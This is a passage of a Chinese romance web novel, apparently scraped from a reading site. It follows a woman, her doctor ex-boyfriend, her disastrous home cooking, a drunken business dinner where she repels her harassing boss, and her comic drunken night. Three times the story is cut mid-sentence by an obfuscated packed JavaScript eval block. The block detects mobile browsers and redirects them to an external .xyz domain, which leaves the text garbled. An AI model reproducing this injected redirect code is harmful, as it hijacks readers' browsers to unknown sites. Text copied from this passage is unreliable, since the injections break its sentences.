几个年轻医生听见宋南汐也有纹身,看她的眼睛仿佛都发着光,有羡慕,有惊讶。 扎马尾的女孩惊讶道:“师母,你竟然也有纹身?!太酷了吧!” 易醇闻言面上隐隐有些骄傲:“我之前可是亲眼见过我表姐的纹身,可漂亮了!” 众人正一言一语交谈着,宋南汐忽然觉得有道目光正似有若无的盯着她,她下意识看了眼门口,瞬间顿住。 办公室的门没关,陈见青不知道什么时候站在了门口,工作服被他挎在臂间,他换了一件深蓝色衬衫,袖子挽到手肘处,露出一截精壮有力的小臂,衣摆没入黑色西裤中。 这一身板正有型,很好地勾勒出他的身材,尤其是深蓝色衬衫微微敞开露出若隐若现的锁骨,衬得他的皮肤更白。 宋南汐一时看得有些入神,丝毫没有察觉到陈见青目光中的探究。 有人注意到门口的陈见青,立刻高声叫了句:“老师好!” 讨论声顿时戛然而止,几个人都不约而同地看向门口。 陈见青走进来,穿过他们,走到办公桌前,把角落里那一沓记录本推到他们面前:“没有基础性错误,有进步。” 闻言,在场的那几个年轻医生像是如释重负一般,挨个领走了自己的本子,“老师再见,师母也再见!” 连临走时道别的语气也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200157|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一派的轻松,跟昨天挨训的模样天差地别。 宋南汐有些忍俊不禁。 陈见青抬眸看了她一眼,“很开心?” 宋南汐好奇问:“陈见青,平时在学校的时候,这群小孩会给你取外号吗?” 陈见青面色有些不自然,默了一会说:“没有。” 宋南汐撇了撇嘴,那表情明明是在说有。 没关系,她可以私下问,易醇一定知道。 陈见青丝毫不知道某人内心的小算盘,忽然偏头看着她,状似无意问道:“你有纹身?什么时候的事?” 宋南汐顿了下,面上有些心虚,眼珠转了转,眼尖地瞥到了桌上的保温袋。 她立刻走上前,从袋子里把保温盒拿出来,一个个打开,“快尝尝我做得怎么样。” 话题转移的很生硬,陈见青看出她不想说,也默不作声没再追问。 宋南汐贴心地拿出筷子递给陈见青,看着他面上的犹豫,她立刻道:“虽然卖相看起来一般,但尝起来应该不错,你试试,食材我都是挑的最好的。” 之所以说应该不错,是因为她自己也没尝。但是食材挑的都是一等一的,她料想味道应该不错。 陈见青先尝了一口米饭。 宋南汐说:“这是用正宗的五常大米蒸的。” 陈见青缓缓嚼着,口感很硬,甚至有些夹生,勉强能吃,“不错。” 他把筷子伸向拿那盘绿油油的空心菜,夹了一点放进嘴里。 宋南汐观察着他的表情,看起来有些古怪,期待地问他:“怎么样?” 好半会儿,陈见青挤出两个字:“不错。” 宋南汐一眼就看出不对,她皱了皱眉:“陈见青,我要的是客观评价,这样我才有改进空间。” 陈见青抿了抿唇,委婉道:“这个盐里面要是能多放点青菜就好了。” 宋南汐:“……” 菜放咸了。 陈见青将筷子再次伸向另一道菜,黑乎乎的一碗汤,他拿勺子舀了一勺汤放进嘴里,很难评的味道。 艰难咽下后,陈见青问:“这是什么汤?” 宋南汐面无表情道:“这是可乐鸡翅!” 陈见青顿了一下,用筷子一捞,还真有鸡翅,他罕见沉默了几秒,然后评价道:“可乐挺好喝的。” 宋南汐一颗心都快凉了半截,她只能把希望寄予最后一道菜,把那盘鱼推过去:“你尝尝这个,我拿回去的时候还是活的,很新鲜的。” 陈见青挑了挑眉:“你杀的鱼?” 宋南汐期待地点了点头。 陈见青犹豫了几秒,还是搛了一小块放进嘴里。 宋南汐观察着陈见青的表情,觉得有希望,眼睛都亮了几分,“是不是很鲜?很好吃?” 陈见青点点头:“是挺鲜的。如果能刮一下鱼鳞就更好了。” “……” 宋南汐整颗心都凉了。 完了。 本来想抓住陈见青的胃,这下陈见青的胃没抓住,陈见青的心好像快死了。 32. 修罗场(双更合一) 虽然陈见青反复说没毒能吃,但最后那几盘饭菜还是被宋南汐抢走倒掉了。 毕竟陈见青是救死扶伤的医生,如果把他吃出个好歹来,那她可就罪恶了。 不过,为了弥补陈见青,宋南汐信誓旦旦保证一定会苦练厨艺,半个月内一定让他尝到自己的成果。 但终究没能如愿,因为公司接下来即将要投资的汇雪咖啡是个大项目,所以宋南汐几乎已经因为这个案子出差开会连轴转了将近半个月,有的时候到深夜才回家,连追陈见青的时间都没有,更别提练习厨艺。 甚至有时候因为工作问题她还得麻烦陈见青帮她遛狗。 宋南汐感到有点愧疚,难得今天不用加班,陈见青也没有值班。她本想下班后预约一个餐厅,然后邀请陈见青吃一顿浪漫的烛光晚餐。 设想很美好,宋南汐前脚刚发出邀约,后脚就收到了汇雪负责人的饭局邀约。 宋南汐顿了一下,立刻打开了和陈见青的微信对话框,看见页面上方那行“对方正在输入中……”,宋南汐眼疾手快地撤回了那份邀约。 几乎同时,页面上弹出对方的消息:【可以,地点?时间?】 在宋南汐撤回消息后,对面很快发来一个问号。 宋南汐抿了抿唇,点开输入框,解释道:【临时加班,地点未定,时间改天。[爱心emoji]】 C:【……需要帮忙遛狗吗?】 宋南汐:【需要需要!密码不变,和你家一样。】 C:【有个问题,我想问很久了。为什么遛狗的时候叫它的名字,他没什么反应?】 宋南汐沉默了一会儿,最后还是如实道:【你可以试试叫它的小名】 剩下的话还没来得及打手指就不小心摁下了发送键。 C:【小名?】 宋南汐:【此狗小名二百五。】 C:【……到家说一声。】 宋南汐:【好的。[爱心emoji]】 回完陈见青的微信,助理胡若瑶正好来催她出发。 今天的饭局定在一个私密性很高的场所,参加的人除了汇雪项目的负责人,还有双方的老板。 到了地点,宋南汐和其他负责人跟在老板周志鹏身后进了包间。 整个饭局下来双方人员喝的都比较多,因为投资意向已经定下来了,汇雪老板也挺开心,一直敬周志鹏酒,几杯之后,周志鹏便给她使眼色,要她挡酒。 宋南汐心下疑惑,周志鹏成天在酒吧流连忘返,这时候竟然只喝了几杯酒就不行了? 宋南汐面上不显,只能赔笑着挡了一杯又一杯的酒,喝了这么多年,酒桌上很少有人能喝过她。 汇雪老板也不例外。 最后,饭局结束的时候,对方老板已经是不省人事了。 宋南汐也只是勉强保持清醒。 等把汇雪的人送走,宋南汐终于忍不住去了洗手间。 扒着马桶吐的昏天黑地,吐完之后才终于好受一点。 她脚步有些虚浮地走到洗手池,低头用冷水扑了把脸,再抬头时,面前的镜中多了个人。 周志鹏不知什么时候站到了她的身后,宋南汐皱了皱眉,忽然想起卫生间的洗手池是公共区域,便出于礼貌道:“周总。” 周志鹏没应声,直勾勾盯着她,那眼神让她很不舒服。 宋南汐几乎条件反射地抓着手机摁下了某个按键,她道:“周总,没什么事的话,我就先走了。” 宋南汐转身欲走,周志鹏肥硕的身躯直接挡住了她的去路,“看不出来,宋总的酒量竟然这么好。” “您过奖了。”宋南汐勉强维持着微笑,后退几步拉开距离,“周总,还有其他指示吗?” 周志鹏笑,脸上的横肉颤了颤,“早就知道你漂亮,没想到喝了酒这么勾人。” 宋南汐这下连笑都懒得,直接冷下脸,“周总,请你自重。” 周志鹏抬手想摸她,被宋南汐眼疾手快地躲开,她冷声警告道:“其他负责人应该还没走,如果我现在叫出声把人喊来,华凌应该丢不起这个人。” 周志鹏哼笑了声,看过来的眼神直让她犯恶心:“你想不想回总部?” 宋南汐皱了皱眉,“你什么意思?” 周志鹏笑的猥琐:“如果你愿意做我的情人,我就让你回总部。” 听见这话,宋南汐只觉得喉咙间直犯恶心,据她所知周志鹏甚至还有妻子,竟然能说出这种话。她忍着恶心咬牙道:“我不愿意。” 话落,周志鹏的身体直接贴了过来,宋南汐毫不犹豫抬脚直击他要害。 周志鹏也喝了酒,反应也比较迟缓,一时不察,被宋南汐一踢,直接痛苦地捂着某处倒在地上,最厉害不断咒骂:“臭娘们,你以为你是谁!如果不是老子看上了你,你早就被我哥开除了!” 原来如此。 宋南汐在华凌总部的时候,曾陷入一起泄露商业机密的检举。 检举信不知道是谁投的,有人拍到了她和对家公司的负责人吃饭的照片,就妄自断定她泄露了公司的商业机密。 其实,那天是路清柏约她出去吃饭,碰巧那位负责人是路清柏的朋友,于是宋南汐出于礼貌打了个招呼而已,没想到却被有心之人拍下了照片。 因为那段时间公司正处于项目投资关键期,不能容忍一点差错。所以大老板周志辉找她谈话,表面安抚她相信她,让她休息一段时间,其实就是停职调查。 停职期间,她把手上的项目交接完,已经做好了辞职的打算。 没想到,一周后她突然复职,没过几天,公司传闻说周志辉弟弟开了一家分公司,要从总部调一些人过去。 没人想被调去分公司,原因无他,没前途。 公司刚成立不久,相当于一个空壳公司,而且分公司老板周志鹏还是个草包,听说连大学都没上过,只知道吃喝享乐。 周志鹏成家后老婆不满他不学无术的行径,多次找周志辉诉苦,甚至还闹到了要离婚的境地,无奈之下,周志辉拨出一部分资金开了一家分公司给周志鹏经营。 派遣名单下来的时候,上面第一个人就是宋南汐。 她这些年在总部谈成不少大单,也积攒了不少人脉,能力属于是公司一等一的水平,一朝被发配到这样一个地方,没有人不惊讶。 惊讶过后是唏嘘,她为华凌奉献太多,到头来竟落得这样一个下场。 但宋南汐却不惊讶,在华凌工作几年,她深度了解自己的老板周志辉是个什么样的人,两面三刀,笑面虎,财迷,疑心极重。 起初她还在疑惑,既然她被人检举,按照周志辉的性格应该辞退她才对,可最后竟然让她恢复原职,直到派遣名单下来时,她才明了。 借着明升暗贬的名头,分派她去距离榆北几千公里远的分公司,把她渐渐剥离公司的主项目。 其实,周志辉给了她两种选择:服从派遣或者主动辞职。 宋南汐毫不犹豫选择前者,毕竟主动辞职可没有N+1。 她跟周志鹏交流不多,只在总公司周志辉的办公室见过他一次。 或许就是那一次,宋南汐无知无觉中为自己惹了麻烦。 在周志鹏手底下工作两个月,宋南汐每次照例向他汇报工作的时候,都能感受到周志鹏油腻猥琐的眼神黏在她身上,但他并没有什么行动,所以宋南汐总觉得是自己的错觉。 但今晚,宋南汐清楚的意识到那不是错觉。 一只手紧紧握住她的脚腕,周志鹏眼神恶狠狠地警告她:“宋南汐,你应该知道惹了我是什么下场。” 宋南汐嫌恶地甩开那只油腻肥胖的手,抬起高跟鞋毫不犹豫踩了下去,鞋跟杵在肥胖的手上碾了碾,卫生间里顿时发出惨叫声。 周志鹏嘴里尽是些不堪入耳的辱骂声。 宋南汐冷冷看着他,直到咒骂声变成求饶声,她才缓缓出声:“惹了你是什么下场?” “姑奶奶,我错了,是我酒精上头,你松松脚,行不行?” 周志鹏的手已经被碾的青紫,宋南汐不为所动,反而力道还加重了。 她缓缓蹲下,欣赏着周志鹏脸上的痛苦,唇角弯了弯,眼睛里却没有任何笑意:“你可能不太了解,我这个人不太好惹。” “周志鹏,我劝你以后手脚干净点,否则——”她晃了晃手机,“我手机里的这段录音可能会出现在任何地方——” “——臭娘们,你敢录音!”周志鹏瞪大了眼,怒声道。 “比如,你老婆的手机里,比如,公司员工的邮箱里,再比如,警察局里……”宋南汐欣赏着他的惊恐表情,缓缓出声:“你喜欢哪个?” 周志鹏不说话了。 宋南汐面容冷下来,站起身,垂眸冷睨着他,“周志鹏,要想辞退我,就按照正常流程来,少一分赔偿,你可以试试。” 话落,有人赶来洗手间,是今晚跟她一起前来的项目经理沈卓,也是负责汇雪的投资案。 “宋总,出什么事了?我刚刚——” 在看清地上躺着的男人时,沈卓的话音猛地顿住,连忙上前去扶地上的周志鹏。 沈卓搀着周志鹏,结合刚刚隐约听到的吵骂声,他几乎明白了什么。 望着宋南汐冷若冰霜的眼睛,他张了张嘴,“宋总,你没事吧?” 宋南汐冷冷瞥了眼噤若寒蝉的周志鹏,“没事,周总喝醉了,送他回去吧。” 说完,宋南汐没了耐心,抬脚往外走去。 脑袋有些昏昏沉沉的,她走到大门口,正想找个代驾,拿出手机,发现页面上的字都在晃。 今晚被灌了不少酒,此刻酒劲迟来的上头。 她扶着门框,闭了闭眼缓了一下。 “宋南汐?” 宋南汐睁开眼,眨了下,缓缓看清那道声源的主人。 她皱了皱眉,路清柏怎么在这? 路清柏快步朝她走过来,扶住她的肩,不悦道:“怎么又喝这么多?那些合作商又灌你酒了?” 宋南汐眨了眨眼,眼前短暂的清晰,她注意到路清柏身后的女孩,模样明艳漂亮,看着她的眼神探究中带着点敌意。 生面孔。路清柏又换女朋友了? 宋南汐推开路清柏的手,与他拉开一点距离,“路清柏,能帮我找个代驾吗?我看不清手机。” “我送你回去。” 路清柏上来就要扶她走,他身后的女生走上前,扯了扯他的手臂,娇声道:“路清柏,你答应了今晚要陪我吃饭的。” 宋南汐维持着微末的清醒,冷静道:“路清柏,帮我找个代驾。” 她的语气坚决,路清柏了解她的脾气,只能道:“知道了。” 路清柏在手机上帮她叫完代驾后,还守在宋南汐旁边。 宋南汐感受到女生直直望来的幽怨的目光,“路清柏,你去忙吧,不用管我。” 路清柏“嗯”了声:“没有管你,我在这等人。” 一旁的女生小声抱怨道:“明明是来陪我吃饭的。” 路清柏偏头冷冷看了那女生一眼,女生瞬间低头不说话了。 宋南汐无话可说了,只能先等着代驾来。 不过五分钟,代驾就赶过来了。 宋南汐被路清柏强硬扶进后座,系好安全带,才让代驾出发。 宋南汐的红色大G刚开走没多远,路清柏紧接着上了自己的车,跟着他的女孩也跑过来,路清柏降下车窗,“手机收款码。” 那女孩愣了下,路清柏不耐皱了皱眉,又重复了一遍:“手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233671|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机收款码。” 女孩找出手机收款码给他看,路清柏拿出手机扫了一下,下一秒女孩手机上传来一刀机械女声:支付宝到账十万元。 “分手费,”路清柏说:“自己打车回家。” 女孩看了眼自己手机支付宝的余额有点傻眼,再抬头时,面前的银灰色迈巴赫早已扬尘而去。 代驾小哥一路专心驾驶,等红灯的间隙,他无意间看了眼后视镜,发现他正后方有一辆眼熟的银灰色迈巴赫。 他心中疑惑,这不是刚刚会所那边停着的车吗? 不留他多想,绿灯亮了,之后他一路畅行无阻到了导航上的碧沁园小区。 这里安保系统很高,车要进去需要双重验证,不仅要人脸识别还要车牌号识别,验证成功后才能开闸。 代驾小哥无奈只能停下车,正要叫醒后座的女人让他去进行一下人脸识别的时候,车窗被人敲了敲。 代驾小哥不知道这辆车的车窗该怎么打开,只能打开车门。 车外站着个一头红毛的男人,长得很帅,那头发色很有辨识度,代驾小哥一眼就认出他是会所门口那个银灰色迈巴赫的主人,也是刚刚扶车上女人上车的人。 “您好,有什么事吗?” “你下来吧。”路清柏说:“我送她进去,钱会照常给你。” “好嘞。” 代驾小哥求之不得,连忙下了车,骑着自己的小电车走了。 路清柏上车后把后座车窗打开,对着后面不太清醒的人说:“宋南汐,把脑袋伸出去,人脸识别。” 宋南汐“哦”了声,乖乖把脑袋探出车窗。 “叮”地一声,一道机械声响起:欢迎尊敬的业主回家。 与此同时,车顺利地开进了小区。 路清柏把车停好,然后把后座的宋南汐扶下了车。 他歪头看了眼已经有些神志不清的宋南汐,“记不记得家在哪?” “碧沁园23号楼……3单元。” 一路扶抱着她到了单元门口,路清柏又问:“几楼?” 宋南汐想了想:“好像……是八楼。” “……”路清柏叹了口气,偏头看着她,似乎是在自言自语的抱怨,“宋南汐,你搬家都不告诉我。” “搬家都要告诉你。”宋南汐皱了皱眉,嘟囔道:“你一个代驾管真多。” 路清柏:“……” 电梯到了八楼,路清柏看着楼层里仅有的两户,问一旁的醉鬼,“你家是哪个?” 醉鬼伸出手指指了指左边,又指了指右边,最后重新指向左边,“是这个?” 路清柏把她扶到门前,又问了一遍:“你确定?” 宋南汐点了点头,“确定。” 路清柏说:“输密码。” 宋南汐想了一会儿,然后摇了摇头,“不知道。” “……”路清柏说:“好好想想,不然今晚你就住酒店。” 宋南汐咬了咬唇,思索了一会儿,然后伸手输入密码。 “密码错误。” 隔了几秒,再次输入。 “密码错误。” 宋南汐眉头不耐地蹙起,转身俩踉跄着去对面了,抬手就要输入密码。 路清柏眼疾手快地拦住她,“宋南汐,走错了!” 宋南汐拍开路清柏的手,一边输入密码,一边嘟囔道:“没走错。” 路清柏想阻拦已经来不及,他都准备好要替她道歉的时候,密码正确的提示音响起。 宋南汐满意地舒展开眉头,在路清柏的惊愕中打开了门。 宋南汐抬脚就要往里面走,路清柏赶忙拉住她,“这真是你家?” 还不等宋南汐回答,一只很肥的橘猫从里面窜了出来,围在宋南汐脚边喵喵叫。 路清柏疑惑:“宋南汐,你什么时候又养了只猫?” “马?什么马?”宋南汐眯了眯眼,看上去有些困惑:“我没有养马。” 路清柏:“……是猫。” 话音刚落,有个男人从里面走出来,穿着一身米白色家居服,很亲和的打扮,但路清柏却明显从对方的目光中感受到了寒意。 路清柏瞪大了眼,“陈见青!你怎么在这?” 陈见青瞥了眼醉醺醺的宋南汐,抬眸看向路清柏时语气闲凉,“这是我家,我为什么不能在这?” “那不好意思,走错门了。” 路清柏反应极快地扶着宋南汐就要走,宋南汐却没动,站在原地,呆呆地看着自己的身侧——她的另一只手被陈见青攥住了。 “带她去哪?” 路清柏说:“她醉了,不认识自己家,我送她去酒店凑合一晚。” 陈见青扯了扯唇角,眼睛里却没什么笑意:“你怎么知道这不是她家?” 路清柏说:“我当然知道,她没养猫,而且她根本不可能和你住一起。” 闻言,陈见青轻嗤了声,目光转向醉沉沉的某人,沉沉叫了她一声:“宋南汐。” 宋南汐眨了眨眼,身体不自觉立直,声音洪亮:“到!” 陈见青指着她脚边那只谄媚撒娇的肥猫问,“它是谁?” “南南!” “你是谁?” “南南姐姐!” “那我是谁?” 宋南汐的目光一寸寸扫过面前男人的脸,仿佛在做人脸识别,不知想到什么,她一把甩开路清柏的手,扑进陈见青怀里。 “我知道了!”她笑的有些憨,眼睛亮亮地看着陈见青,“你是……南南姐夫!” 陈见青弯了弯唇,把怀里的脑袋扭向一旁,下巴朝路清柏的方向扬了下,“那他又是谁?” 宋南汐毫不犹豫脱口而出:“代驾司机!” 路清柏:“……?” 33. 淫贼 宋南汐像个树袋熊一样挂在陈见青身上,脑袋埋在陈见青的脖颈处,嘴里嘟嘟囔囔的: “陈见青,我想睡觉。” 亲昵的姿势像是恋人之间的撒娇,她的声音不大,但在寂静的楼道内却异常清晰。 陈见青将她抱在怀里,温柔的说了句好,随即又抬眸看向对面呆愣的那嘬红毛:“你还有事?” “……没。”路清柏到现在都有些不真切感,不过短短半个月,他们进展就已经这么迅速了吗? “陈见青,你们真的住一起?”路清柏显然还是有些半信半疑。 “不然呢?”陈见青说:“还需要向你证明一下?” 路清柏看着紧紧抱着陈见青的宋南汐沉默了下来,垂下眼皮叫人看不清情绪,留下句‘好好照顾她’就头也不回的走了。 直到路清柏的身影彻底消失,陈见青才抱着宋南汐回了她自己家。 输入密码,刚打开门,二百五就亲切地迎了上来。 陈见青轻声说了句:“二百五,自己去玩。” 白色比熊就真的乖乖去自己的窝里玩玩具了。 他抱着宋南汐进了卧室,把她放在床上盖好被子,正要走的时候,手突然被人拉住了。 房间没开灯,借着客厅投射来的微弱亮光,陈见青看见女人紧闭的眼皮在颤动,手腕上的力道也在无意识加重,嘴里在呢喃着什么。 陈见青弯腰凑近去听: “狗日的,想睡姑奶奶,你也配。” “踩死你……” “把你命根子拔了!” 待听清她说的话后,陈见青的脸色蓦地冷了下来。 通过这只言片语,陈见青几乎已经能大致拼凑出宋南汐经历了什么。 一股无名火在心头窜起,手指下意识攥紧成拳,在安静空旷的卧室里咯吱作响。 半晌,床上的人忽然发出一声很委屈的呢喃,“陈见青。” 男人紧攥着的拳倏地松了,抬手轻轻握住女人的手,柔声道:“我在。” “陈见青。” “我在。” …… 宋南汐不知道做了什么梦,紧皱着眉头,反复呼喊着他的名字。 陈见青坐在床边,句句回应,也不管陷入梦魇中的人能否听见。 直到床上的人安静下来,他也没有离开。他就这么垂眸静静看着她,心中情绪百感交杂。 难过,自责,懊悔,但其中更多的却是心疼。 忽然,安静的卧室内响起一声很小的啜泣声。 陈见青倏地顿住,昏暗空间内,看不清女人的神情。 他下意识抬手,拇指轻轻压在她的眼角,指尖果然感受到一抹湿润。 她在哭。 是因为工作上的事吗? “陈见青。”床上的人忽然睁开了眼,抬手覆上面前男人的脸颊,摸了摸,又捏了捏,声音听起来有些不确定:“是你吗?陈见青。” “是我。”陈见青任由她动作,眸光温柔,“阿南,我在。” 话音刚落,一阵酒气忽然拂面而来,他被紧紧抱住了。 陈见青因为这猝不及防的拥抱怔了一瞬,脖颈处传来的温热呼吸有些痒,勾的他的心也痒。 陈见青按耐不住想要推开宋南汐,可醉酒之人不知为什么力气格外的大,紧紧搂着他的脖子不撒手。 陈见青正要去掰她的手时,脖颈处忽然一湿,继而他听到宋南汐带着哭腔的声音:“陈见青,别离开我,好不好?” 抬起的手渐渐垂落下去,陈见青声音很低,“宋南汐,明明是你先放手的。” 宋南汐哭的有些凶,她哽着声音执拗地问:“永远和我在一起,好不好。” 陈见青无奈叹了口气,抬手轻轻拍着她的背,“知道了。” 她紧紧抱着陈见青,力道之大仿佛下一秒他就会消失,她仍然在哭,声音断断续续的,“我、我好想你。能不能在我的梦里多呆一会儿。” 原来,她以为这是梦…… 陈见青回抱住她,“好。” 一直哄到宋南汐睡着,陈见青给她盖好被子才关门离开。 他回到家,下意识打开茶几下的抽屉,里面空空如也,没有一盒烟。 他这才想起,早在宋南汐劝他戒烟的那天,他就把家里所有的烟都清理了。 他叹了口气,又转身去了浴室。 半个小时后,浴室水流声终于停下,陈见青一边擦着头发一边从浴室走出来。 浴室门刚打开,脚边就被一个毛茸茸的东西蹭了上来。 陈见青还以为是南南,低头的那一刻,他擦头发的动作瞬间顿住,反应了几秒,他才确定自己没看错,“二百五?你怎么会在这?” 话音刚落,他敏锐的感觉到了不对劲,快步朝门口走去,看到敞开的大门的那一刻,陈见青心底有了个猜测,他低头看着脚边的狗,“二百五,你姐姐呢?” 白色比熊摇着尾巴朝他叫了两声,然后就朝他卧室的方向走。 陈见青意识到什么,连忙跟去了卧室。 他推开半掩的门,“啪”地打开卧室灯,一眼就看到床上鼓起的被子。 陈见青将被子掀开一角,看到一片雪白细腻的肌肤,立刻又盖上了。 “……” 宋南汐好像在他床上裸-睡? 没仔细看,他也不确定。 陈见青深吸了口气,又缓缓呼出,最后认命地闭了闭眼,把门带上出去了。 今晚只能在沙发上凑合一晚了。 他拿了一件毛巾毯,关了灯,在沙发上酝酿睡意。 或许是今天手术太累,没过一会儿,他就陷入了睡眠。 睡到一半,他隐约听到打雷声,迷迷糊糊睁开眼,下意识看了眼墙上的钟表,凌晨两点。 困意袭来,他不自觉闭上眼。 下一秒,耳边传来一声暴喝:“请苍天,睁开眼!” 陈见青猛地睁开眼,坐起来。 霎时,闪电划过天际,映亮了漆黑的夜色,借着那道光,他看到客厅高大的落地窗上映着道人影,那瞬间他的心跳差点停了。 连鞋都顾不上穿,他立刻去打开了客厅灯。 灯光亮起瞬间,他才彻底看清客厅的情形。 高大落地窗前跪着一个单薄瘦弱的身影,白色丝绸吊带裙很好地勾勒出她身材的完美曲线,此刻她正双手合十,高高举过头顶,像是在举行什么仪式。 陈见青叹了口气,阔步走过去,这才注意到宋南汐旁边蹲着一狗一猫。 仔细观察会发现,这一人一狗一猫排成一条直线,整整齐齐地抬头望天。 还不等陈见青出声,窗外漆黑的夜空中划过一道明亮的闪电。 一道清亮的声音顿时传遍整个客厅。 “今日,我们在此结为异性兄弟!从此,上报国家,下安黎民。不求同年同月同日生,但求同年同月同日死!”宋南汐目光如炬,念念有词,掷地有声,“皇天厚土,以证此心,若违此誓,天理不容!” “请苍天应允!” 话落,无边的夜色中非常应景地轰隆响起一道闷雷。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244963|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南汐当即在地上咚咚咚磕了三个响头。 这一切发生的太突然,太离奇,陈见青想要阻止根本来不及。 她抬起头后,额头上很明显多了一大块红印子。 她却像是感受不到疼似的,抬手捞起身前的矿泉水瓶,毫不费力打开瓶盖后,又贴心地打开猫猫狗狗面前的矿泉水瓶盖。 陈见青这才注意到宋南汐不知什么时候从冰箱拿了三瓶矿泉水出来。 紧接着,他看见宋南汐举着矿泉水瓶对着地上乖乖蹲着的猫猫狗狗敬了敬,声音刻意压低了一点,能感受出其豪迈之气,“二弟!三弟!” 话落,宋南汐以迅雷不及掩耳之势咣咣咣灌了一瓶水进去,完了之后还打了个水嗝。 陈见青:“……” 他有些头疼的捏了捏眉心,把地上的宋南汐提溜了起来。 猝不及防被人提着胳膊提了起来,宋南汐下意识膝盖一弯,然后用力往前一顶。 陈见青腹部被击中,吃痛地放了手。 他咬着牙出声:“宋南汐,你谋杀啊!” 宋南汐立刻大叫出声,“来人!护驾!有刺客!” 陈见青:“……” 宋南汐一边围着满屋子乱跑,一边大叫着护驾。 陈见青无奈追他想捂住她的嘴,不然照这样下去,半夜三更的很容易被投诉扰民。 索性,宋南汐是在发酒疯,跑得不快,脚步也不稳。 陈见青从后面迅速捉住她的手腕,反绞到身后,束缚进自己的怀里。 怀里的人挣扎了几下,没挣动,随即怒声道:“不管你是哪条道上的,谋害皇上就是死罪!” 陈见青的胸膛紧紧贴着她的背,他垂眸看着那头顶,无奈道:“宋南汐,你清醒点,哪来的皇上。” 不远处的大橘猫缓步踱过来,蹭了蹭宋南汐的脚踝。 宋南汐当即把大橘猫往一边踢了踢,大声道:“我跟皇上拜了把子,你就算杀了我,我也不会告诉你皇上的藏身之处!” 陈见青瞥了眼一旁的大橘,瞬间猜到了她口中的皇上是谁。 有些无语,但又不能跟一个醉鬼计较,只能哄着她,“我不是刺客。” 宋南汐冷哼了声,“鬼才信。” “……”陈见青放开她的手,扭过她的肩膀,迫使她正对着他,“宋南汐,我真不是刺客,你好好看看,我是谁?” 陈见青盯着她,目光不经意间下移,呼吸倏地停住了。 她身上的白色丝绸吊带裙是个性感小V领,露出一部分洁白胸脯,一条勾线在其间若隐若现。 而就在那胸脯上方靠近心脏的位置有个纹身,那是一朵蓝色的花,上面缠绕着一株绿色的青柏。 那株绿色的青柏正是他名字的来源,而那朵蓝色花是他送给宋南汐的第一束花——蓝色妖姬,象征着爱情长长久久,是他曾对他们爱情的期望。 霎时间,陈见青的心脏好像被人不轻不重捏了一下。 原来,这就是那天她说的纹身…… 为什么选择了这样一个图案? 是什么时候纹的呢? 为什么纹在那样特殊的位置呢? 明明是她狠心分的手,怎么现在这样倒让他看起来像个渣男。 突然,脑袋上被重重拍了一下,拉回了陈见青的注意力。 面前的女人双颊通红,眼睛像是要喷火,仰着头恨恨盯着他:“大胆淫贼!敢吃老娘豆腐!” 陈见青:“……” 脑瓜子嗡嗡的,他迟来的有点后悔,今晚就应该让宋南汐去住酒店。 34. 草莓 陈见青本想拿绳子把某个发疯的醉鬼捆起来,绳子都找出来了,他又忍不下心了。 最后宋南汐抢过绳子把他当偷花贼给绑起来了。 幸好不是死结,陈见青轻松就解开了。 接下来的一小时,宋南汐好像陷入了角色扮演。 一会儿跪在橘猫面前喊‘吾皇万岁!’,一会儿又对着电视机聊政治,聊得还都是最近政府出台的最新政策,说的头头是道的。 喋喋不休将近二十分钟,宋南汐终于停了下来,陈见青以为她终于累了要睡觉的时候,她又去把昏昏欲睡的比熊薅了起来,双手托着它的身体举了起来。 一人一狗,大眼瞪小眼,就这么僵持了一会儿。 比熊摇着尾巴朝宋南汐叫了一声,宋南汐当即就哇哇哭了。 狗狗吓了一跳,惊慌失措地就要去舔宋南汐的眼泪。 陈见青也吓了一跳,连忙上前查看情况。 只见宋南汐猛地把狗狗摁进怀里,哭的伤心欲绝:“陈见青,你怎么变成狗了?” 陈见青:“?” 狗狗听见宋南汐悲痛的哭声,想探出脑袋安慰她,被她再次摁回怀里,“呜呜呜,我还想跟你处对象呢。” 陈见青:“……” 几分钟后,宋南汐哭噎着停下来,像是下定什么决心,抱着狗狗就往卧室走,嘴里念念有词:“没关系,我不嫌弃你,就算你变成狗我也愿意跟你圆房!” 陈见青额角狠狠一跳,追到卧室,趁宋南汐一时不察,赶忙把狗狗夺了回来。 宋南汐想抢回来,“把陈见青还给我!” “不行!”陈见青眼疾手快地把狗狗送出去,拦着宋南汐,“你们不能一起睡觉!” 宋南汐精力消耗太多已经没什么力气,双眼迷离,有些委屈地问:“为什么?” 陈见青一脸严肃:“因为有生殖隔离。” 过了几秒,宋南汐反应慢半拍地“哦”了声,“那它还能变回陈见青吗?” 